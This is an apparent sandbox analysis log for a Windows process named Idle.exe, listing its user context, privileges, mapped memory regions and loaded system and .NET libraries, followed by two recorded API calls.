os_parent_pid = "0x4e8" cmd_line = "C:\\Boot\\es-ES\\Idle.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7259 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7260 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7261 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 7262 start_va = 0x11b0000 end_va = 0x1285fff monitored = 1 entry_point = 0x127d67e region_type = mapped_file name = "idle.exe" filename = "\\Boot\\es-ES\\Idle.exe" (normalized: "c:\\boot\\es-es\\idle.exe") Region: id = 7263 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7264 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7265 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7266 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7267 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7268 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 7269 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7270 start_va = 0x1d0000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7271 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7272 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7273 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7274 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7275 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7276 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7277 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7278 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7279 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 7604 start_va = 0x380000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 7625 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7626 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7627 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7628 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7629 start_va = 0x380000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 7630 start_va = 0x440000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 7631 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 7632 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7633 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7773 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7774 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7775 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7776 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7777 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7779 start_va = 0x1d0000 end_va = 0x1f8fff monitored = 0 entry_point = 0x1d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7780 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 7781 start_va = 0x5c0000 end_va = 0x747fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 7782 start_va = 0x1d0000 end_va = 0x1f8fff monitored = 0 entry_point = 0x1d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7783 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7784 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7978 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7979 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 7980 start_va = 0x750000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 7981 start_va = 0x1290000 end_va = 0x268ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001290000" filename = "" Region: id = 7982 start_va = 0x8e0000 end_va = 0x9affff monitored = 1 entry_point = 0x9ad67e region_type = mapped_file name = "idle.exe" filename = "\\Boot\\es-ES\\Idle.exe" (normalized: "c:\\boot\\es-es\\idle.exe") Region: id = 8208 start_va = 0x8e0000 end_va = 0x9affff monitored = 1 entry_point = 0x9ad67e region_type = mapped_file name = "idle.exe" filename = "\\Boot\\es-ES\\Idle.exe" (normalized: "c:\\boot\\es-es\\idle.exe") Region: id = 8209 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8243 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8262 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8469 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8470 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8471 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8487 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 8488 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 8489 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 8490 start_va = 0x7fe949d0000 end_va = 0x7fe949dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949d0000" filename = "" Region: id = 8491 start_va = 0x7fe949e0000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949e0000" filename = "" Region: id = 8492 start_va = 0x7fe949f0000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8493 start_va = 0x7fe94a80000 end_va = 0x7fe94aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8494 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 8495 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 8543 start_va = 0x390000 end_va = 0x390fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 8544 start_va = 0x8e0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 8545 start_va = 0xb30000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 8546 start_va = 0xb50000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 8547 start_va = 0xcf0000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 8548 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8549 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8550 start_va = 0x2690000 end_va = 0x1a68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 8590 start_va = 0xd70000 end_va = 0x10effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 8591 start_va = 0x8e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 8592 start_va = 0xab0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 8593 start_va = 0x1a7f0000 end_va = 0x1a8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 8594 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8622 start_va = 0x1a690000 end_va = 0x1a78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a690000" filename = "" Region: id = 8623 start_va = 0x1a9c0000 end_va = 0x1aabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9c0000" filename = "" Region: id = 8624 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8654 start_va = 0x1aac0000 end_va = 0x1ad8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8661 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8687 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8688 start_va = 0x9f0000 end_va = 0xa6cfff monitored = 0 entry_point = 0x9fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8689 start_va = 0x9f0000 end_va = 0xa6cfff monitored = 0 entry_point = 0x9fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8690 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8763 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8772 start_va = 0x1ad90000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 8773 start_va = 0x1ad90000 end_va = 0x1ae6efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad90000" filename = "" Region: id = 8774 start_va = 0x1aea0000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aea0000" filename = "" Region: id = 8815 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8816 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8818 start_va = 0x7fe94af0000 end_va = 0x7fe94b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94af0000" filename = "" Region: id = 8832 start_va = 0x7fe94b70000 end_va = 0x7fe94b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b70000" filename = "" Region: id = 8833 start_va = 0x7fe94b80000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b80000" filename = "" Region: id = 8877 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8878 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8879 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8927 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 8928 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 8929 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 8930 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 8981 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 8982 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 8999 start_va = 0x1af20000 end_va = 0x1b04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 9026 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9064 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9065 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 9066 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 9082 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9083 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9120 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9135 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9146 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9168 start_va = 0x9f0000 end_va = 0xa51fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9212 start_va = 0xc60000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 9213 start_va = 0x1b170000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 9214 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9215 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9278 start_va = 0x1b360000 end_va = 0x1b45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 9279 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9280 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9281 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9282 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9283 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9368 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9369 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9370 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9411 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9452 start_va = 0x1b4b0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 9460 start_va = 0x400000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 9461 start_va = 0x1b720000 end_va = 0x1b81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b720000" filename = "" Region: id = 9462 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9463 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9473 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9500 start_va = 0x1b910000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 9501 start_va = 0x1ba40000 end_va = 0x1bb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 9502 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9503 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9504 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9522 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9535 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9553 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9554 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 9662 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Thread: id = 372 os_tid = 0x54c [0262.680] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.128] EtwEventRegister (in: ProviderId=0x26957f8, EnableCallback=0x1afd135c, CallbackContext=0x0, RegHandle=0x26957d8 | out: RegHandle=0x26957d8) 